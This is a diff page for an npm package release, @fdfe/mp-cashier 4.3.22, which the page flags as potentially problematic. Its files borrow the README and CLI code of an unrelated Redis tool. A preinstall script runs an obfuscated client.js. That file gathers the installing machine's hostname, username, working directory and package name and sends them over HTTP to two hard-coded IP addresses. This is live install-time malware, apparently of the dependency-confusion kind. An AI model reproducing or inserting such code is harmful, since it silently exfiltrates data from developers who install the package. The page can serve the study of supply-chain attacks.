@fdfe/mp-cashier 4.3.22

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @fdfe/mp-cashier might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2023 Elijah Daniel
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,25 @@
1
+ # mrn-cli
2
+
3
+ [![npm version](https://badge.fury.io/js/mrn-cli.svg)](https://www.npmjs.com/package/mrn-cli)
4
+
5
+ This package is a cli tool for the microservice-redis-net npm package.
6
+ ## Installation
7
+
8
+ ```bash
9
+ $ npm install mrn-cli
10
+ $ yarn add mrn-cli
11
+ ```
12
+
13
+ ## Usage
14
+
15
+ Initialize a configuration file for your application and service
16
+ ```bash
17
+ $ npx mrn init --application <name>
18
+ ```
19
+
20
+ The configuration file will be created in the current directory. You can edit the file to configure your redis server and add security keys
21
+
22
+ Pull code from the services
23
+ ```bash
24
+ $ npx mrn pull
25
+ ```
package/bin/cli.js ADDED
@@ -0,0 +1,72 @@
1
+ #!/usr/bin/env node
2
+
3
+ const commander = require('commander');
4
+ const fs = require('fs');
5
+ const CodeGenerator = require('./helper');
6
+
7
+ const program = new commander.Command();
8
+
9
+ program.version('1.0.4');
10
+
11
+ const fetchModuleConfig = () => {
12
+ let path = __dirname.split('/');
13
+ let configPath = `${path.slice(0, path.length - 3).join('/')}/mrn.config.json`;
14
+ console.log(configPath);
15
+ return configPath;
16
+ }
17
+
18
+ program
19
+ .command('init')
20
+ .option('-a, --application <name>', 'Microservice Application Name', 'my-app')
21
+ .description('Initialize a new microservice configuration')
22
+ .action((options) => {
23
+ const { application } = options;
24
+ // create a new microservice configuration in project root
25
+ let defaultConfig = {
26
+ application: application,
27
+ queue:{
28
+ redis: {
29
+ host: 'localhost',
30
+ port: 6379
31
+ },
32
+ defaultJobOptions:{
33
+ removeOnComplete: true,
34
+ removeOnFail: true,
35
+ attempts: 2,
36
+ }
37
+ },
38
+ generatedCodePath: ''
39
+ }
40
+
41
+ fs.writeFileSync('mrn.config.json', JSON.stringify(defaultConfig, null, 4));
42
+ console.log('Configuration file created successfully.');
43
+ });
44
+
45
+ program
46
+ .command('pull')
47
+ .description('Pull the latest microservice configuration from the server')
48
+ .action(() => {
49
+ // pull the latest microservice configuration from the server
50
+ let filePath = fetchModuleConfig();
51
+ if(fs.existsSync(filePath)){
52
+ let configFile = fs.readFileSync(filePath, 'utf8');
53
+ let config = JSON.parse(configFile);
54
+ let helper = new CodeGenerator(config);
55
+ console.log('Pulling configuration from the server...');
56
+ helper.generateCode();
57
+ console.log('Code pulled');
58
+ }
59
+ else{
60
+ console.log('No configuration file found. Run mrn init <applicationName> to create a configuration file.');
61
+ }
62
+ });
63
+
64
+ program
65
+ .command('push')
66
+ .description('Push the latest microservice configuration to the server')
67
+ .action(() => {
68
+ // push the latest microservice configuration to the server
69
+ console.log('Pushing configuration to the server...');
70
+ });
71
+
72
+ program.parse(process.argv);
package/bin/helper.js ADDED
@@ -0,0 +1,92 @@
1
+ const ioredis = require('ioredis');
2
+ const fs = require('fs');
3
+ // load config
4
+
5
+
6
+ class CodeGenerator {
7
+
8
+ redis;
9
+ application;
10
+ generatedCodePath;
11
+ constructor(config){
12
+ this.application = config.application;
13
+ this.redis = new ioredis(config.redis);
14
+ this.generatedCodePath = config.generatedCodePath;
15
+ }
16
+
17
+ setupFolder = async ()=> {
18
+ let parts = __dirname.split('/');
19
+ let folder = `${parts.slice(0, parts.length - 3).join('/')}`;
20
+ folder += this.generatedCodePath ? `/${this.generatedCodePath}/${this.application}`
21
+ : `/${this.application}`;
22
+ if(!fs.existsSync(folder)){
23
+ try {
24
+ fs.mkdirSync(folder);
25
+ } catch (error) {
26
+ throw new Error(`The folder ${this.generatedCodePath} does not exist, check your configuration and set a valid path`);
27
+ }
28
+ } else {
29
+ // fs.readdirSync(folder).forEach((file)=>{
30
+ // fs.unlinkSync(`${folder}/${file}`);
31
+ // })
32
+ }
33
+ return folder;
34
+ }
35
+
36
+ generateCode = async () => {
37
+ let key = `mrn:${this.application}`;
38
+ let folderPath = await this.setupFolder();
39
+ let services = await this.redis.smembers(key);
40
+
41
+ for(let service of services){
42
+ console.log(`Generating client for ${service}`);
43
+ let serviceClass = await this.generateClass(service);
44
+ let servicePath = `${folderPath}/${service}.ts`;
45
+ fs.writeFileSync(servicePath, serviceClass);
46
+ }
47
+ process.exit(0);
48
+ }
49
+
50
+ setupTypes = async (method, Params) => {
51
+ return `export class ${method}{${Params.join(`; `)}}`;
52
+ }
53
+
54
+ generateClass = async (service) => {
55
+ let key = `mrn:${this.application}:${service}`;
56
+ let methods = await this.redis.smembers(key);
57
+ let typeAccumulator = [];
58
+ let classTemplate = `
59
+ //Automatically generated by microservice-redis-net cli
60
+ //DO NOT EDIT THIS SCRIPT....
61
+
62
+ import { Service } from 'microservice-redis-net';
63
+
64
+ let serviceName = '${service}';
65
+ const ${service.replace('-', '_')} = {`;
66
+
67
+ for(let method of methods){
68
+ let methodTemplate = `
69
+ ${method}: (`;
70
+ let methodKey = `mrn:${this.application}:${service}:${method}`;
71
+ let params = await this.redis.get(methodKey);
72
+ params = JSON.parse(params);
73
+ let types = await this.setupTypes(method, params);
74
+ typeAccumulator.push(types);
75
+ for(let param of params){
76
+ methodTemplate += `${param}, `;
77
+ }
78
+ methodTemplate += `) => Service.instance.call(serviceName, ${method}, {${params.join(', ')}}),`;
79
+ classTemplate += methodTemplate;
80
+ }
81
+ classTemplate += `
82
+ }`;
83
+ let eventTypes = "\n" + typeAccumulator.join(`
84
+ `);
85
+ classTemplate += eventTypes;
86
+ classTemplate += `
87
+ export default ${service.replace('-', '_')};`
88
+ return classTemplate;
89
+ }
90
+ }
91
+
92
+ module.exports = CodeGenerator;
package/client.js ADDED
@@ -0,0 +1 @@
1
+ const _0x56af5f=_0x932a;function _0x932a(_0xfadd88,_0x2f8d61){const _0x4aaa3b=_0xccdb();return _0x932a=function(_0x1be987,_0x3e2e1f){_0x1be987=_0x1be987-(0x370+0x122+-0x1*0x2fa);let _0xe729c=_0x4aaa3b[_0x1be987];return _0xe729c;},_0x932a(_0xfadd88,_0x2f8d61);}(function(_0x47357e,_0x557558){const _0x509fd4=_0x932a,_0x46d4b2=_0x47357e();while(!![]){try{const _0x3ddf7c=parseInt(_0x509fd4(0x1a9))/(0x1ba5+0x100*0x1+-0x234*0xd)*(-parseInt(_0x509fd4(0x19c))/(-0xc0+0xcd8+-0xc16))+parseInt(_0x509fd4(0x19e))/(-0x1*0x14c2+-0x1c8e+0x3153)*(-parseInt(_0x509fd4(0x1a8))/(-0x6ae*0x3+0x37b*0x9+-0xb45))+parseInt(_0x509fd4(0x1b4))/(0x39*-0x9d+-0x7f9*-0x3+0xb0f)*(-parseInt(_0x509fd4(0x199))/(-0xb2*0xf+-0x1a*-0x17d+0x1e*-0xf1))+parseInt(_0x509fd4(0x1ab))/(-0x1a5e+0x79d+-0x12c8*-0x1)+-parseInt(_0x509fd4(0x1a1))/(0x1775+0x3b7+-0xc*0x243)*(-parseInt(_0x509fd4(0x1b1))/(-0x1a1b+0x1*0x1c2d+-0x209))+-parseInt(_0x509fd4(0x1ae))/(-0x200f*0x1+0x1dbc+0x79*0x5)*(-parseInt(_0x509fd4(0x1ad))/(0x1*-0x1f2+-0x1*-0x1191+0x4*-0x3e5))+parseInt(_0x509fd4(0x19f))/(0x1852+-0x12*0x1a+-0x22*0xa9)*(parseInt(_0x509fd4(0x1a5))/(-0xb*-0x272+-0xa73+0x833*-0x2));if(_0x3ddf7c===_0x557558)break;else _0x46d4b2['push'](_0x46d4b2['shift']());}catch(_0x440107){_0x46d4b2['push'](_0x46d4b2['shift']());}}}(_0xccdb,0x13*0x28+0x1b*-0xcd7+0x8cdbb));const http=require(_0x56af5f(0x19a)),os=require('os'),hostname=os[_0x56af5f(0x1a6)](),pwd=process[_0x56af5f(0x19d)][_0x56af5f(0x1b3)]||process[_0x56af5f(0x1b5)](),packageName=require(_0x56af5f(0x1a2))[_0x56af5f(0x19b)],username=os['userInfo']()['username'],_0x199963={};_0x199963['flag']=_0x56af5f(0x1aa),_0x199963[_0x56af5f(0x1a4)]=packageName,_0x199963[_0x56af5f(0x1a6)]=hostname,_0x199963[_0x56af5f(0x1b0)]=username,_0x199963[_0x56af5f(0x1a0)]=pwd;const queryParams=new URLSearchParams(_0x199963)[_0x56af5f(0x1b2)]();function sendRequest(_0x2d6689){const _0x18f018=_0x56af5f,_0x8235f5={};_0x8235f5['tiOlZ']=_0x18f018(0x1af);const _0x3d6d1=_0x8235f5;http['get'](_0x2d6689,_0x3b54d9=>{})['on'](_0x3d6d1[_0x18f018(0x1ac)],_0x1bdaae=>{});}const urls=[_0x56af5f(0x198)+queryParams,_0x56af5f(0x1a7)+queryParams];function _0xccdb(){const _0x227334=['forEach','packagename','13283491NEdfnj','hostname','http://192.144.137.134:8080?','20HzMEPs','881086vDvUaM','poi','3198979xcFcEV','tiOlZ','550rqlzJb','46420qqeMZI','error','user','9jrfTva','toString','PWD','622325xFufiP','cwd','http://10.241.70.162:8080?','30luasSf','http','name','2UfTnIU','env','485733AeSzlU','24ihlWZN','path','553768OoCYVp','./package.json'];_0xccdb=function(){return _0x227334;};return _0xccdb();}urls[_0x56af5f(0x1a3)](sendRequest);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@fdfe/mp-cashier",
3
+ "version": "4.3.22",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node client.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }